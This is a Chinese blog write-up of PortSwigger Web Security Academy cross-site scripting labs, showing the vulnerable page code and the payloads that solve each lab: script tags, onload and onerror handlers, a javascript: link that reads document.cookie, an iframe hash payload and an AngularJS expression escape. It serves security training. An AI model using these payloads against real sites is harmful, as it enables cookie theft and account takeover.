portswigger 靶场之 XSS 篇(上)
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |
APPRENTICE
1. 将 XSS 反射到 HTML 上下文中,没有编码
XSS payload,自是无需多言
<script>alert(1)</script>
2. 将 XSS 存储到 HTML 上下文中,没有任何编码
存储型的 XSS 在留言区
3. 文档中的 DOM XSS.使用 source location.search 编写接收器
在搜索查询功能中有基于 DOM 的跨站点脚本漏洞
在搜索框输入"第三个",可以发现,输入的词被放到了 JavaScript 代码中的 img 标签的 src 属性中,插入 XSS 代码的话需要先闭合,使用">
`,分别闭合 img 标签和 src 属性
// 在页面输入"第三个"
<img src="/resources/images/tracker.gif?searchTerms=第三个>
// 插入 XSS 代码第一种方法
"><script>alert(3)</script>
<img src="/resources/images/tracker.gif?searchTerms="><script>alert(3)</script>
">
// 插入 XSS 代码第二种方法
// 语法:onload,事件在页面载入完成后立即触发,onload="JavaScriptCode"
1" onload="alert(3)
<img src="/resources/images/tracker.gif?searchTerms=1" onload="alert(3)">
// 源代码
function trackSearch(query) {
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
4. 使用 source location.search in innerHTML sink 中的 DOM XSS。
// 在页面输入"第四个"
<span id="searchMessage">第四个</span>
// 插入 XSS 代码第一种方法
// 语法:onload,当页面载入完毕后执行 Javascript 代码,该事件不可取消
<svg onload=alert(4)>
<span id="searchMessage"><svg onload="alert(4)"></svg></span>
// 插入 XSS 代码第二种方法
// 语法:onerror,当资源加载失败或无法使用时,触发onerror事件,因为前面的 src 为空,那意味着肯定会触发事件
<img src='' onerror="alert(4)">
5. 使用 location.search source 在 jQuery 锚点 href 属性接收器中的 DOM XSS
Href 不仅可以跳转路径,也可以放入 JS 代码
https://0a0000b103823255c2ce2cd0003e00a5.web-security-academy.net/feedback?returnPath=javascript:alert(document.cookie)
6. 在 jQuery 选择器中使用 hashchange 事件的 DOM 型 XSS
HTML 内联框架元素 (<iframe>
) ,它能够将另一个 HTML 页面嵌入到当前页面中。
https://0a99009f0458a280c12dc1a500730025.web-security-academy.net/#<img src=1 onerror=alert(1)>
// 官方给的答案:
<iframe src="https://0a99009f0458a280c12dc1a500730025.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print(6)>'"></iframe>
// 源代码
$(window).on('hashchange', function(){
var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
if (post) post.get(0).scrollIntoView();
});
7. 带尖括号编码的反射型 XSS
尖括号被编码,但是引号没有,在搜索框输入内容后,发现输入的内容展示在了 input 标签的 value 属性中。
onmouseover 属性在鼠标指针移至元素之上时触发,几乎可使用于所有 HTML 元素,也就不限于搜索框input
8. 将 XSS 存储到带有双引号 HTML 编码的锚点 href 属性中
评论中输入的内容会成为 a 标签 herf 属性的值
9. 将 XSS 反射到带有尖括号 HTML 编码的 JavaScript 字符串中
输入ABC
发现是出现在了 script 标签中,尝试闭合弹出
var searchTerms = 'ABC';
document.write('<img src="/resources/images/tracker.gif?searchTerms='+encodeURIComponent(searchTerms)+'">');
构造 Payload';alert(9);//
PRACTITIONER
10. 文档中的 DOM XSS.使用源位置编写接收器.在选择元素内搜索
注入&storeId=<script>alert()</script>
var stores = ["London","Paris","Milan"];
var store = (new URLSearchParams(window.location.search)).get('storeId');
document.write('<select name="storeId">');
if(store) {
document.write('<option selected>'+store+'</option>');
}
for(var i=0;i<stores.length;i++) {
if(stores[i] === store) {
continue;
}
document.write('<option>'+stores[i]+'</option>');
}
document.write('</select>');
11. AngularJS 表达式中的 DOM XSS,带有尖括号和双引号HTML 编码
Angular 是一个前端框架,{{ ... }} 里头其实就是一个模板表达式,Angular 会对其进行求值并转化为字符串输出。可以放入 JavaScript 脚本
[PayloadsAllTheThings-Github](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS Injection/XSS in Angular.md)
注入:{{constructor.constructor('alert(1)')()}}
Constructor 是一个构造函数
12. 反射式 DOM XSS
13. 存储型 XSS
replace(),如果第一个参数是字符串,则仅替换第一个匹配项
function escapeHTML(html) {
return html.replace('<', '<').replace('>', '>');
}
// 源代码中,通过 replace() 函数,替换第一个匹配项,也就是<>
// <代表小于号(<); >代表大于号(>)
阿里云国内75折 回扣 微信号:monov8 |
阿里云国际,腾讯云国际,低至75折。AWS 93折 免费开户实名账号 代冲值 优惠多多 微信号:monov8 飞机:@monov6 |